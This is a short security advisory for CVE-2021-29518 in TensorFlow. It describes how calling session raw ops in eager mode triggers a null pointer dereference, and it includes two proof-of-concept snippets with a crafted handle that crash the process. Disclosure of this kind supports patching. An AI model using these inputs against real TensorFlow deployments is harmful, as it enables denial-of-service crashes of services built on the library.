CVE-2021-29518: Session operations in eager mode lead to null pointer dereferences

May 21, 2021 (updated October 30, 2024)

In eager mode (default in TF 2.0 and later), session operations are invalid. However, users could still call the raw ops associated with them and trigger a null pointer dereference:

import tensorflow as tf
tf.raw_ops.GetSessionTensor(handle=['\x12\x1a\x07'],dtype=4)
import tensorflow as tf
tf.raw_ops.DeleteSessionTensor(handle=['\x12\x1a\x07'])
